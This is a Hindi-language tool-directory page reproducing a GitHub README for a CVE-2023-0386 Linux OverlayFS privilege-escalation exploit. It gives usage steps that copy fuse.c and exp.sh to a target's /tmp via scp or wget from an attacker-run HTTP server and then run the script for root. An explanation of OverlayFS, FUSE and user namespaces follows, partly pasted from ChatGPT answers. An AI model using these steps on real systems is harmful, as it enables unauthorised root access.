Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/fanxiaoyao66/cve-2023-0386
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाकंटेनर एस्केपबाइनरी शोषण
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

बहुत सरल CVE-2023-0386 का exp और विश्लेषण। c और sh का उपयोग करें।

रिपॉजिटरी देखें
224143 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

typora-copy-images-to: ./image

CVE-2023-0386

Exp Usage:

पहला:fuse.c और exp.sh को /tmp निर्देशिका में अपलोड करें।

  • आप फ़ाइल को लक्ष्य पर अपलोड करने के लिए scp या python3 -m http.server का उपयोग कर सकते हैं।

    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #आपकी मशीन
    

    या

    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server #आपकी मशीन
    
    wget your_ip:8000/exp.sh
    wget your_ip:8000/fuse.c #लक्ष्य
    

फिर:

cd /tmp
/bin/bash exp.sh

अब, आप रूट हैं!

image-20230628154304898

निम्नलिखित CVE-2023-0386 का विस्तृत विश्लेषण है।


कल मैंने भी इस कमज़ोरी का पूरे दिन अध्ययन किया। सरल शब्दों में कहें तो, जब OverlayFS निचली परत की फ़ाइल को ऊपरी परत पर कॉपी करता है, तो यह जाँच नहीं करता कि निचली परत के नाम स्थान का उपयोगकर्ता वर्तमान उपयोगकर्ता नाम स्थान से मैप किया गया है या नहीं, जिससे suid सेट करके विशेषाधिकार वृद्धि (प्रिविलेज एस्केलेशन) संभव हो पाती है।

यहाँ यह बहुत अमूर्त लगता है। इस समस्या को समझने के लिए पहले कुछ बिंदुओं को जानना आवश्यक है:

  • OverlayFS क्या है?
  • FUSE क्या है?
  • उपयोगकर्ता नाम स्थान क्या है?
  • विशेषाधिकार वृद्धि क्यों होती है?

OverlayFS क्या है?

ChatGPT: Linux में OverlayFS के बारे में विस्तार से बताएँ।

OverlayFS, जिसे Overlay फ़ाइल सिस्टम भी कहा जाता है, Linux कर्नेल में एक संयुक्त फ़ाइल सिस्टम (यूनियन फ़ाइल सिस्टम) है। यह कई अलग-अलग फ़ाइल सिस्टम को एक-दूसरे के ऊपर रखकर एक एकल, एकीकृत दृश्य बनाता है। इसे Linux कर्नेल संस्करण 3.18 में आधिकारिक रूप से शामिल किया गया था।

OverlayFS के तीन मुख्य घटक हैं: लोअर फ़ाइल सिस्टम, अपर फ़ाइल सिस्टम और मर्ज्ड फ़ाइल सिस्टम। प्रत्येक भाग की भूमिका इस प्रकार है:

  1. लोअर फ़ाइल सिस्टम (निचला फ़ाइल सिस्टम): यह आधार परत है, जो सामान्यतः केवल-पढ़ने योग्य (रीड-ओनली) होती है। सभी फ़ाइलें और निर्देशिकाएँ मूल रूप से इसी परत से प्राप्त होती हैं।

  2. अपर फ़ाइल सिस्टम (ऊपरी फ़ाइल सिस्टम): यह शीर्ष परत है, जो सामान्यतः लिखने योग्य (रीड-राइट) होती है। जब हम फ़ाइल सिस्टम पर लेखन संचालन करते हैं, तो सभी परिवर्तन इसी परत में सहेजे जाते हैं। यदि कोई फ़ाइल लोअर फ़ाइल सिस्टम में मौजूद है लेकिन हम उसे संशोधित करना चाहते हैं, तो उस फ़ाइल की एक प्रति अपर फ़ाइल सिस्टम में बनाई जाती है, फिर उसे संशोधित किया जाता है। इस प्रक्रिया को "कॉपी-अप" कहा जाता है।

  3. मर्ज्ड फ़ाइल सिस्टम (मर्ज किया गया फ़ाइल सिस्टम): यह OverlayFS का अंतिम दृश्य है, जो लोअर और अपर फ़ाइल सिस्टम को जोड़ता है। जब हम पढ़ने का संचालन करते हैं, तो OverlayFS पहले अपर फ़ाइल सिस्टम में फ़ाइल ढूँढता है; यदि नहीं मिलती, तो लोअर फ़ाइल सिस्टम में ढूँढता है।

इस संरचना का तार्किक दृश्य इस प्रकार है:

     ________________
    |                |
    |  Merged View   |
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Lower   |    |  Upper   |
| (read-only)|  | (read-write)|
|____________|  |____________|

OverlayFS का एक महत्वपूर्ण अनुप्रयोग कंटेनरीकृत अनुप्रयोगों में है, विशेषकर Docker में। Docker में, प्रत्येक इमेज परत केवल-पढ़ने योग्य होती है और अन्य कंटेनरों के लिए लोअर फ़ाइल सिस्टम के रूप में उपयोग की जा सकती है। जब हम एक नया कंटेनर शुरू करते हैं, तो Docker उसके लिए एक नया, खाली अपर फ़ाइल सिस्टम बनाता है। इस प्रकार, कंटेनर में सभी परिवर्तन (जैसे नए सॉफ़्टवेयर स्थापित करना) केवल अपर फ़ाइल सिस्टम को प्रभावित करते हैं, साझा की गई इमेज परतों को नहीं।

इसके अलावा, चूंकि OverlayFS एक अपर परत के नीचे कई लोअर फ़ाइल सिस्टम को माउंट करने की अनुमति देता है, हम कई स्तरों वाला फ़ाइल सिस्टम भी बना सकते हैं, जिसका Docker में इमेज स्तरों में व्यापक अनुप्रयोग है।


संक्षेप में, निचली परत की फ़ाइलें केवल पढ़ने योग्य होती हैं, ऊपरी परत की फ़ाइलें पढ़ने और लिखने योग्य होती हैं, और मर्ज की गई परत निचली और ऊपरी परतों की फ़ाइलों को मिलाकर एक एकीकृत दृश्य प्रदर्शित करती है। जब हम मर्ज की गई परत में किसी ऐसी फ़ाइल को संशोधित करते हैं जो निचली परत में मौजूद है लेकिन ऊपरी परत में नहीं है, तो निचली परत की फ़ाइल को बिना किसी बदलाव के ऊपरी परत में कॉपी कर दिया जाता है ताकि उसे संशोधित किया जा सके। यही वह बिंदु है जहाँ कमज़ोरी ट्रिगर होती है।

FUSE क्या है?

GPT: आप एक Linux कर्नेल विशेषज्ञ हैं। कृपया विस्तार से बताएँ कि FUSE क्या है?

FUSE (Filesystem in Userspace) एक तंत्र है जो उपयोगकर्ता स्थान (यूज़रस्पेस) में फ़ाइल सिस्टम बनाने की अनुमति देता है। यह Linux कर्नेल द्वारा प्रदान किया गया एक इंटरफ़ेस है, जो उपयोगकर्ताओं को कर्नेल कोड में बदलाव किए बिना अपने स्वयं के फ़ाइल सिस्टम विकसित और चलाने की सुविधा देता है।

FUSE का मुख्य लक्ष्य नए फ़ाइल सिस्टम के विकास और उपयोग को सरल बनाना है। FUSE का उपयोग करके, आप कर्नेल API के कई विवरणों को जाने बिना कस्टम फ़ाइल सिस्टम बना सकते हैं। यह डिबगिंग, तीव्र प्रोटोटाइप विकास, शैक्षणिक अनुसंधान, और विशेष फ़ाइल सिस्टम (जैसे पारदर्शी एन्क्रिप्शन फ़ाइल सिस्टम, नेटवर्क फ़ाइल सिस्टम) के कार्यान्वयन जैसे परिदृश्यों में बहुत उपयोगी है।

FUSE में, फ़ाइल सिस्टम का अधिकांश तर्क उपयोगकर्ता स्थान में चलता है। इससे विकास आसान हो जाता है क्योंकि उपयोगकर्ता स्थान अधिक अनुकूल विकास वातावरण प्रदान करता है: आप अपनी पसंद की कोई भी प्रोग्रामिंग भाषा उपयोग कर सकते हैं, आपके पास अधिक लाइब्रेरी उपलब्ध होती हैं, त्रुटि प्रबंधन सरल होता है, आदि। दूसरी ओर, इसका अर्थ यह भी है कि FUSE फ़ाइल सिस्टम आमतौर पर कर्नेल स्पेस फ़ाइल सिस्टम की तुलना में धीमे होते हैं क्योंकि उन्हें उपयोगकर्ता स्थान और कर्नेल स्थान के बीच बार-बार कॉन्टेक्स्ट स्विच करना पड़ता है।

FUSE फ़ाइल सिस्टम में आमतौर पर दो भाग होते हैं:

  1. उपयोगकर्ता स्थान में एक डेमन प्रक्रिया, जो फ़ाइल सिस्टम के वास्तविक तर्क को लागू करती है।
  2. कर्नेल स्थान में FUSE मॉड्यूल, जो सभी फ़ाइल सिस्टम संचालनों को संभालता है, उन्हें उपयोगकर्ता स्थान के डेमन को अग्रेषित करता है, और फिर परिणाम को कॉलर को लौटाता है।

FUSE फ़ाइल सिस्टम विकसित करते समय, आपको कई कॉलबैक फ़ंक्शन लागू करने होते हैं, जो विभिन्न फ़ाइल सिस्टम संचालनों (जैसे फ़ाइल खोलना, फ़ाइल पढ़ना, फ़ाइल लिखना आदि) के अनुरूप होते हैं। जब ये संचालन होते हैं, तो FUSE कर्नेल मॉड्यूल संबंधित कॉलबैक फ़ंक्शन को कॉल करता है और परिणाम कॉलर को लौटाता है।

कुल मिलाकर, FUSE उपयोगकर्ता स्थान में फ़ाइल सिस्टम को लागू करने के लिए एक शक्तिशाली ढाँचा प्रदान करता है, जो फ़ाइल सिस्टम के विकास को सरल बनाता है और साथ ही फ़ाइल सिस्टम को मॉड्यूलर तरीके से विस्तारित और संशोधित करने की अनुमति देता है।


वास्तव में, FUSE उपयोगकर्ता को एक कस्टम फ़ाइल सिस्टम और उसके अंदर फ़ाइलों को परिभाषित करने की अनुमति देता है।

हमें FUSE से संबंधित कोड C भाषा में लिखने की आवश्यकता है।

उपयोगकर्ता नाम स्थान क्या है?

आप एक Linux कर्नेल विशेषज्ञ हैं। उपयोगकर्ता नाम स्थान क्या है?

Linux में, "नेमस्पेस" एक कर्नेल विशेषता है जिसका उपयोग प्रक्रियाओं के दृश्य को अलग करने के लिए किया जा सकता है, ताकि एक प्रक्रिया केवल उसी नेमस्पेस के संसाधनों को देख सके। प्रत्येक प्रकार का नेमस्पेस एक विशिष्ट प्रकार के संसाधन से मेल खाता है। उदाहरण के लिए, PID (प्रक्रिया ID) नेमस्पेस का उपयोग प्रक्रिया IDs को अलग करने के लिए किया जाता है, Net नेमस्पेस का उपयोग नेटवर्क इंटरफ़ेस और नेटवर्क स्टैक को अलग करने के लिए किया जाता है, Mount नेमस्पेस का उपयोग फ़ाइल सिस्टम माउंट पॉइंट्स को अलग करने के लिए किया जाता है, आदि।

उपयोगकर्ता नाम स्थान (User Namespace) Linux नेमस्पेस का एक प्रकार है, जो मुख्य रूप से उपयोगकर्ता और समूह IDs को अलग करने के लिए उपयोग किया जाता है। प्रत्येक उपयोगकर्ता नाम स्थान के पास उपयोगकर्ता और समूह IDs का अपना सेट होता है। उदाहरण के लिए, एक प्रक्रिया उपयोगकर्ता नाम स्थान A में रूट उपयोगकर्ता (UID 0) के रूप में चल सकती है, लेकिन उपयोगकर्ता नाम स्थान B में, वह प्रक्रिया केवल एक सामान्य उपयोगकर्ता हो सकती है।

इसका लाभ यह है कि भले ही कोई प्रक्रिया अपने उपयोगकर्ता नाम स्थान के भीतर रूट विशेषाधिकार रखती हो, वह अन्य उपयोगकर्ता नाम स्थानों के संसाधनों को प्रभावित नहीं कर सकती, क्योंकि दूसरे नाम स्थानों में वह केवल एक सामान्य उपयोगकर्ता हो सकती है। यह सिस्टम की सुरक्षा को काफी बढ़ाता है, जिससे भले ही कोई कंटेनर (जो वास्तव में अपने स्वयं के नेमस्पेस सेट में चलने वाली प्रक्रियाओं का एक समूह है) हमला किया जाए, हमलावर होस्ट सिस्टम या अन्य कंटेनरों को प्रभावित नहीं कर सकता।

टूल डाउनलोड करें